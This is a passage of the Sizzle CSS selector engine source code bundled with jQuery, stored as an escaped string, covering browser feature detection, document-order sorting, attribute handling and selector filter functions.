cache;\n}\n\n/**\n * Mark a function for special use by Sizzle\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ expando ] = true;\n\treturn fn;\n}\n\n/**\n * Support testing using an element\n * @param {Function} fn Passed the created div and expects a boolean result\n */\nfunction assert( fn ) {\n\tvar div = document.createElement(\"div\");\n\n\ttry {\n\t\treturn !!fn( div );\n\t} catch (e) {\n\t\treturn false;\n\t} finally {\n\t\t// Remove from its parent by default\n\t\tif ( div.parentNode ) {\n\t\t\tdiv.parentNode.removeChild( div );\n\t\t}\n\t\t// release memory in IE\n\t\tdiv = null;\n\t}\n}\n\n/**\n * Adds the same handler for all of the specified attrs\n * @param {String} attrs Pipe-separated list of attributes\n * @param {Function} handler The method that will be applied\n */\nfunction addHandle( attrs, handler ) {\n\tvar arr = attrs.split(\"|\"),\n\t\ti = arr.length;\n\n\twhile ( i-- ) {\n\t\tExpr.attrHandle[ arr[i] ] = handler;\n\t}\n}\n\n/**\n * Checks document order of two siblings\n * @param {Element} a\n * @param {Element} b\n * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b\n */\nfunction siblingCheck( a, b ) {\n\tvar cur = b && a,\n\t\tdiff = cur && a.nodeType === 1 && b.nodeType === 1 &&\n\t\t\t( ~b.sourceIndex || MAX_NEGATIVE ) -\n\t\t\t( ~a.sourceIndex || MAX_NEGATIVE );\n\n\t// Use IE sourceIndex if available on both nodes\n\tif ( diff ) {\n\t\treturn diff;\n\t}\n\n\t// Check if b follows a\n\tif ( cur ) {\n\t\twhile ( (cur = cur.nextSibling) ) {\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn a ? 1 : -1;\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn name === \"input\" && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn (name === \"input\" || name === \"button\") && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction(function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction(function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ (j = matchIndexes[i]) ] ) {\n\t\t\t\t\tseed[j] = !(matches[j] = seed[j]);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n}\n\n/**\n * Checks a node for validity as a Sizzle context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== \"undefined\" && context;\n}\n\n// Expose support vars for convenience\nsupport = Sizzle.support = {};\n\n/**\n * Detects XML nodes\n * @param {Element|Object} elem An element or a document\n * @returns {Boolean} True iff elem is a non-HTML XML node\n */\nisXML = Sizzle.isXML = function( elem ) {\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833)\n\tvar documentElement = elem && (elem.ownerDocument || elem).documentElement;\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [doc] An element or document object to use to set the document\n * @returns {Object} Returns the current document\n */\nsetDocument = Sizzle.setDocument = function( node ) {\n\tvar hasCompare, parent,\n\t\tdoc = node ? node.ownerDocument || node : preferredDoc;\n\n\t// Return early if doc is invalid or already selected\n\tif ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {\n\t\treturn document;\n\t}\n\n\t// Update global variables\n\tdocument = doc;\n\tdocElem = document.documentElement;\n\tdocumentIsHTML = !isXML( document );\n\n\t// Support: IE 9-11, Edge\n\t// Accessing iframe documents after unload throws \"permission denied\" errors (jQuery #13936)\n\tif ( (parent = document.defaultView) && parent.top !== parent ) {\n\t\t// Support: IE 11\n\t\tif ( parent.addEventListener ) {\n\t\t\tparent.addEventListener( \"unload\", unloadHandler, false );\n\n\t\t// Support: IE 9 - 10 only\n\t\t} else if ( parent.attachEvent ) {\n\t\t\tparent.attachEvent( \"onunload\", unloadHandler );\n\t\t}\n\t}\n\n\t/* Attributes\n\t---------------------------------------------------------------------- */\n\n\t// Support: IE<8\n\t// Verify that getAttribute really returns attributes and not properties\n\t// (excepting IE8 booleans)\n\tsupport.attributes = assert(function( div ) {\n\t\tdiv.className = \"i\";\n\t\treturn !div.getAttribute(\"className\");\n\t});\n\n\t/* getElement(s)By*\n\t---------------------------------------------------------------------- */\n\n\t// Check if getElementsByTagName(\"*\") returns only elements\n\tsupport.getElementsByTagName = assert(function( div ) {\n\t\tdiv.appendChild( document.createComment(\"\") );\n\t\treturn !div.getElementsByTagName(\"*\").length;\n\t});\n\n\t// Support: IE<9\n\tsupport.getElementsByClassName = rnative.test( document.getElementsByClassName );\n\n\t// Support: IE<10\n\t// Check if getElementById returns elements by name\n\t// The broken getElementById methods don't pick up programatically-set names,\n\t// so use a roundabout getElementsByName test\n\tsupport.getById = assert(function( div ) {\n\t\tdocElem.appendChild( div ).id = expando;\n\t\treturn !document.getElementsByName || !document.getElementsByName( expando ).length;\n\t});\n\n\t// ID find and filter\n\tif ( support.getById ) {\n\t\tExpr.find[\"ID\"] = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar m = context.getElementById( id );\n\t\t\t\treturn m ? [ m ] : [];\n\t\t\t}\n\t\t};\n\t\tExpr.filter[\"ID\"] = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute(\"id\") === attrId;\n\t\t\t};\n\t\t};\n\t} else {\n\t\t// Support: IE6/7\n\t\t// getElementById is not reliable as a find shortcut\n\t\tdelete Expr.find[\"ID\"];\n\n\t\tExpr.filter[\"ID\"] =  function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" &&\n\t\t\t\t\telem.getAttributeNode(\"id\");\n\t\t\t\treturn node && node.value === attrId;\n\t\t\t};\n\t\t};\n\t}\n\n\t// Tag\n\tExpr.find[\"TAG\"] = support.getElementsByTagName ?\n\t\tfunction( tag, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( tag );\n\n\t\t\t// DocumentFragment nodes don't have gEBTN\n\t\t\t} else if ( support.qsa ) {\n\t\t\t\treturn context.querySelectorAll( tag );\n\t\t\t}\n\t\t} :\n\n\t\tfunction( tag, context ) {\n\t\t\tvar elem,\n\t\t\t\ttmp = [],\n\t\t\t\ti = 0,\n\t\t\t\t// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too\n\t\t\t\tresults = context.getElementsByTagName( tag );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( tag === \"*\" ) {\n\t\t\t\twhile ( (elem = results[i++]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn tmp;\n\t\t\t}\n\t\t\treturn results;\n\t\t};\n\n\t// Class\n\tExpr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n\t\t\treturn context.getElementsByClassName( className );\n\t\t}\n\t};\n\n\t/* QSA/matchesSelector\n\t---------------------------------------------------------------------- */\n\n\t// QSA and matchesSelector support\n\n\t// matchesSelector(:active) reports false when true (IE9/Opera 11.5)\n\trbuggyMatches = [];\n\n\t// qSa(:focus) reports false when true (Chrome 21)\n\t// We allow this because of a bug in IE8/9 that throws an error\n\t// whenever `document.activeElement` is accessed on an iframe\n\t// So, we allow :focus to pass through QSA all the time to avoid the IE error\n\t// See http://bugs.jquery.com/ticket/13378\n\trbuggyQSA = [];\n\n\tif ( (support.qsa = rnative.test( document.querySelectorAll )) ) {\n\t\t// Build QSA regex\n\t\t// Regex strategy adopted from Diego Perini\n\t\tassert(function( div ) {\n\t\t\t// Select is set to empty string on purpose\n\t\t\t// This is to test IE's treatment of not explicitly\n\t\t\t// setting a boolean content attribute,\n\t\t\t// since its presence should be enough\n\t\t\t// http://bugs.jquery.com/ticket/12359\n\t\t\tdocElem.appendChild( div ).innerHTML = \"<a id='\" + expando + \"'></a>\" +\n\t\t\t\t\"<select id='\" + expando + \"-\\r\\\\' msallowcapture=''>\" +\n\t\t\t\t\"<option selected=''></option></select>\";\n\n\t\t\t// Support: IE8, Opera 11-12.16\n\t\t\t// Nothing should be selected when empty strings follow ^= or $= or *=\n\t\t\t// The test attribute must be unknown in Opera but \"safe\" for WinRT\n\t\t\t// http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section\n\t\t\tif ( div.querySelectorAll(\"[msallowcapture^='']\").length ) {\n\t\t\t\trbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:''|\\\"\\\")\" );\n\t\t\t}\n\n\t\t\t// Support: IE8\n\t\t\t// Boolean attributes and \"value\" are not treated correctly\n\t\t\tif ( !div.querySelectorAll(\"[selected]\").length ) {\n\t\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n\t\t\t}\n\n\t\t\t// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+\n\t\t\tif ( !div.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) {\n\t\t\t\trbuggyQSA.push(\"~=\");\n\t\t\t}\n\n\t\t\t// Webkit/Opera - :checked should return selected option elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !div.querySelectorAll(\":checked\").length ) {\n\t\t\t\trbuggyQSA.push(\":checked\");\n\t\t\t}\n\n\t\t\t// Support: Safari 8+, iOS 8+\n\t\t\t// https://bugs.webkit.org/show_bug.cgi?id=136851\n\t\t\t// In-page `selector#id sibing-combinator selector` fails\n\t\t\tif ( !div.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) {\n\t\t\t\trbuggyQSA.push(\".#.+[+~]\");\n\t\t\t}\n\t\t});\n\n\t\tassert(function( div ) {\n\t\t\t// Support: Windows 8 Native Apps\n\t\t\t// The type and name attributes are restricted during .innerHTML assignment\n\t\t\tvar input = document.createElement(\"input\");\n\t\t\tinput.setAttribute( \"type\", \"hidden\" );\n\t\t\tdiv.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n\t\t\t// Support: IE8\n\t\t\t// Enforce case-sensitivity of name attribute\n\t\t\tif ( div.querySelectorAll(\"[name=d]\").length ) {\n\t\t\t\trbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );\n\t\t\t}\n\n\t\t\t// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !div.querySelectorAll(\":enabled\").length ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Opera 10-11 does not throw on post-comma invalid pseudos\n\t\t\tdiv.querySelectorAll(\"*,:x\");\n\t\t\trbuggyQSA.push(\",.*:\");\n\t\t});\n\t}\n\n\tif ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||\n\t\tdocElem.webkitMatchesSelector ||\n\t\tdocElem.mozMatchesSelector ||\n\t\tdocElem.oMatchesSelector ||\n\t\tdocElem.msMatchesSelector) )) ) {\n\n\t\tassert(function( div ) {\n\t\t\t// Check to see if it's possible to do matchesSelector\n\t\t\t// on a disconnected node (IE 9)\n\t\t\tsupport.disconnectedMatch = matches.call( div, \"div\" );\n\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( div, \"[s!='']:x\" );\n\t\t\trbuggyMatches.push( \"!=\", pseudos );\n\t\t});\n\t}\n\n\trbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") );\n\trbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );\n\n\t/* Contains\n\t---------------------------------------------------------------------- */\n\thasCompare = rnative.test( docElem.compareDocumentPosition );\n\n\t// Element contains another\n\t// Purposefully self-exclusive\n\t// As in, an element does not contain itself\n\tcontains = hasCompare || rnative.test( docElem.contains ) ?\n\t\tfunction( a, b ) {\n\t\t\tvar adown = a.nodeType === 9 ? a.documentElement : a,\n\t\t\t\tbup = b && b.parentNode;\n\t\t\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\t\t\t\tadown.contains ?\n\t\t\t\t\tadown.contains( bup ) :\n\t\t\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t\t\t));\n\t\t} :\n\t\tfunction( a, b ) {\n\t\t\tif ( b ) {\n\t\t\t\twhile ( (b = b.parentNode) ) {\n\t\t\t\t\tif ( b === a ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n\n\t/* Sorting\n\t---------------------------------------------------------------------- */\n\n\t// Document order sorting\n\tsortOrder = hasCompare ?\n\tfunction( a, b ) {\n\n\t\t// Flag for duplicate removal\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\t// Sort on method existence if only one input has compareDocumentPosition\n\t\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\t\tif ( compare ) {\n\t\t\treturn compare;\n\t\t}\n\n\t\t// Calculate position if both inputs belong to the same document\n\t\tcompare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?\n\t\t\ta.compareDocumentPosition( b ) :\n\n\t\t\t// Otherwise we know they are disconnected\n\t\t\t1;\n\n\t\t// Disconnected nodes\n\t\tif ( compare & 1 ||\n\t\t\t(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {\n\n\t\t\t// Choose the first element that is related to our preferred document\n\t\t\tif ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t// Maintain original order\n\t\t\treturn sortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\t\t}\n\n\t\treturn compare & 4 ? -1 : 1;\n\t} :\n\tfunction( a, b ) {\n\t\t// Exit early if the nodes are identical\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tap = [ a ],\n\t\t\tbp = [ b ];\n\n\t\t// Parentless nodes are either documents or disconnected\n\t\tif ( !aup || !bup ) {\n\t\t\treturn a === document ? -1 :\n\t\t\t\tb === document ? 1 :\n\t\t\t\taup ? -1 :\n\t\t\t\tbup ? 1 :\n\t\t\t\tsortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\n\t\t// If the nodes are siblings, we can do a quick check\n\t\t} else if ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\t\t}\n\n\t\t// Otherwise we need full lists of their ancestors for comparison\n\t\tcur = a;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tap.unshift( cur );\n\t\t}\n\t\tcur = b;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tbp.unshift( cur );\n\t\t}\n\n\t\t// Walk down the tree looking for a discrepancy\n\t\twhile ( ap[i] === bp[i] ) {\n\t\t\ti++;\n\t\t}\n\n\t\treturn i ?\n\t\t\t// Do a sibling check if the nodes have a common ancestor\n\t\t\tsiblingCheck( ap[i], bp[i] ) :\n\n\t\t\t// Otherwise nodes in our document sort first\n\t\t\tap[i] === preferredDoc ? -1 :\n\t\t\tbp[i] === preferredDoc ? 1 :\n\t\t\t0;\n\t};\n\n\treturn document;\n};\n\nSizzle.matches = function( expr, elements ) {\n\treturn Sizzle( expr, null, null, elements );\n};\n\nSizzle.matchesSelector = function( elem, expr ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\t// Make sure that attribute selectors are quoted\n\texpr = expr.replace( rattributeQuotes, \"='$1']\" );\n\n\tif ( support.matchesSelector && documentIsHTML &&\n\t\t!compilerCache[ expr + \" \" ] &&\n\t\t( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&\n\t\t( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\tvar ret = matches.call( elem, expr );\n\n\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\tif ( ret || support.disconnectedMatch ||\n\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t// fragment in IE 9\n\t\t\t\t\telem.document && elem.document.nodeType !== 11 ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t} catch (e) {}\n\t}\n\n\treturn Sizzle( expr, document, null, [ elem ] ).length > 0;\n};\n\nSizzle.contains = function( context, elem ) {\n\t// Set document vars if needed\n\tif ( ( context.ownerDocument || context ) !== document ) {\n\t\tsetDocument( context );\n\t}\n\treturn contains( context, elem );\n};\n\nSizzle.attr = function( elem, name ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tvar fn = Expr.attrHandle[ name.toLowerCase() ],\n\t\t// Don't get fooled by Object.prototype properties (jQuery #13807)\n\t\tval = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n\t\t\tfn( elem, name, !documentIsHTML ) :\n\t\t\tundefined;\n\n\treturn val !== undefined ?\n\t\tval :\n\t\tsupport.attributes || !documentIsHTML ?\n\t\t\telem.getAttribute( name ) :\n\t\t\t(val = elem.getAttributeNode(name)) && val.specified ?\n\t\t\t\tval.value :\n\t\t\t\tnull;\n};\n\nSizzle.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\nSizzle.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\t// Unless we *know* we can detect duplicates, assume their presence\n\thasDuplicate = !support.detectDuplicates;\n\tsortInput = !support.sortStable && results.slice( 0 );\n\tresults.sort( sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( (elem = results[i++]) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tresults.splice( duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\t// Clear input after sorting to release objects\n\t// See https://github.com/jquery/sizzle/pull/225\n\tsortInput = null;\n\n\treturn results;\n};\n\n/**\n * Utility function for retrieving the text value of an array of DOM nodes\n * @param {Array|Element} elem\n */\ngetText = Sizzle.getText = function( elem ) {\n\tvar node,\n\t\tret = \"\",\n\t\ti = 0,\n\t\tnodeType = elem.nodeType;\n\n\tif ( !nodeType ) {\n\t\t// If no nodeType, this is expected to be an array\n\t\twhile ( (node = elem[i++]) ) {\n\t\t\t// Do not traverse comment nodes\n\t\t\tret += getText( node );\n\t\t}\n\t} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n\t\t// Use textContent for elements\n\t\t// innerText usage removed for consistency of new lines (jQuery #11153)\n\t\tif ( typeof elem.textContent === \"string\" ) {\n\t\t\treturn elem.textContent;\n\t\t} else {\n\t\t\t// Traverse its children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tret += getText( elem );\n\t\t\t}\n\t\t}\n\t} else if ( nodeType === 3 || nodeType === 4 ) {\n\t\treturn elem.nodeValue;\n\t}\n\t// Do not include comment or processing instruction nodes\n\n\treturn ret;\n};\n\nExpr = Sizzle.selectors = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tattrHandle: {},\n\n\tfind: {},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: {\n\t\t\"ATTR\": function( match ) {\n\t\t\tmatch[1] = match[1].replace( runescape, funescape );\n\n\t\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\t\tmatch[3] = ( match[3] || match[4] || match[5] || \"\" ).replace( runescape, funescape );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[3] = \" \" + match[3] + \" \";\n\t\t\t}\n\n\t\t\treturn match.slice( 0, 4 );\n\t\t},\n\n\t\t\"CHILD\": function( match ) {\n\t\t\t/* matches from matchExpr[\"CHILD\"]\n\t\t\t\t1 type (only|nth|...)\n\t\t\t\t2 what (child|of-type)\n\t\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t\t5 sign of xn-component\n\t\t\t\t6 x of xn-component\n\t\t\t\t7 sign of y-component\n\t\t\t\t8 y of y-component\n\t\t\t*/\n\t\t\tmatch[1] = match[1].toLowerCase();\n\n\t\t\tif ( match[1].slice( 0, 3 ) === \"nth\" ) {\n\t\t\t\t// nth-* requires argument\n\t\t\t\tif ( !match[3] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\t// numeric x and y parameters for Expr.filter.CHILD\n\t\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\t\tmatch[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === \"even\" || match[3] === \"odd\" ) );\n\t\t\t\tmatch[5] = +( ( match[7] + match[8] ) || match[3] === \"odd\" );\n\n\t\t\t// other types prohibit arguments\n\t\t\t} else if ( match[3] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\t\"PSEUDO\": function( match ) {\n\t\t\tvar excess,\n\t\t\t\tunquoted = !match[6] && match[2];\n\n\t\t\tif ( matchExpr[\"CHILD\"].test( match[0] ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Accept quoted arguments as-is\n\t\t\tif ( match[3] ) {\n\t\t\t\tmatch[2] = match[4] || match[5] || \"\";\n\n\t\t\t// Strip excess characters from unquoted arguments\n\t\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\t\t\t\t// Get excess from tokenize (recursively)\n\t\t\t\t(excess = tokenize( unquoted, true )) &&\n\t\t\t\t// advance to the next closing parenthesis\n\t\t\t\t(excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length) ) {\n\n\t\t\t\t// excess is a negative index\n\t\t\t\tmatch[0] = match[0].slice( 0, excess );\n\t\t\t\tmatch[2] = unquoted.slice( 0, excess );\n\t\t\t}\n\n\t\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\t\treturn match.slice( 0, 3 );\n\t\t}\n\t},\n\n\tfilter: {\n\n\t\t\"TAG\": function( nodeNameSelector ) {\n\t\t\tvar nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\t\t\t\tfunction() { return true; } :\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === nodeName;\n\t\t\t\t};\n\t\t},\n\n\t\t\"CLASS\": function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t(pattern = new RegExp( \"(^|\" + whitespace + \")\" + className + \"(\" + whitespace + \"|$)\" )) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test( typeof elem.className === \"string\" && elem.className || typeof elem.getAttribute !== \"undefined\" && elem.getAttribute(\"class\") || \"\" );\n\t\t\t\t});\n\t\t},\n\n\t\t\"ATTR\": function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = Sizzle.attr( elem, name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\treturn operator === \"=\" ? result === check :\n\t\t\t\t\toperator === \"!=\" ? result !== check :\n\t\t\t\t\toperator === \"^=\" ? check && result.indexOf( check ) === 0 :\n\t\t\t\t\toperator === \"*=\" ? check && result.indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"$=\" ? check && result.slice( -check.length ) === check :\n\t\t\t\t\toperator === \"~=\" ? ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" ).indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"|=\" ? result === check || result.slice( 0, check.length + 1 ) === check + \"-\" :\n\t\t\t\t\tfalse;\n\t\t\t};\n\t\t},\n\n\t\t\"CHILD\": function( type, what, argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tvar cache, uniqueCache, outerCache, node, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType,\n\t\t\t\t\t\tdiff = false;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( (node = node[ dir ]) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) {\n\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\n\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\tnode = parent;\n\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\tdiff = nodeIndex && cache[ 2 ];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t\tif ( useCache ) 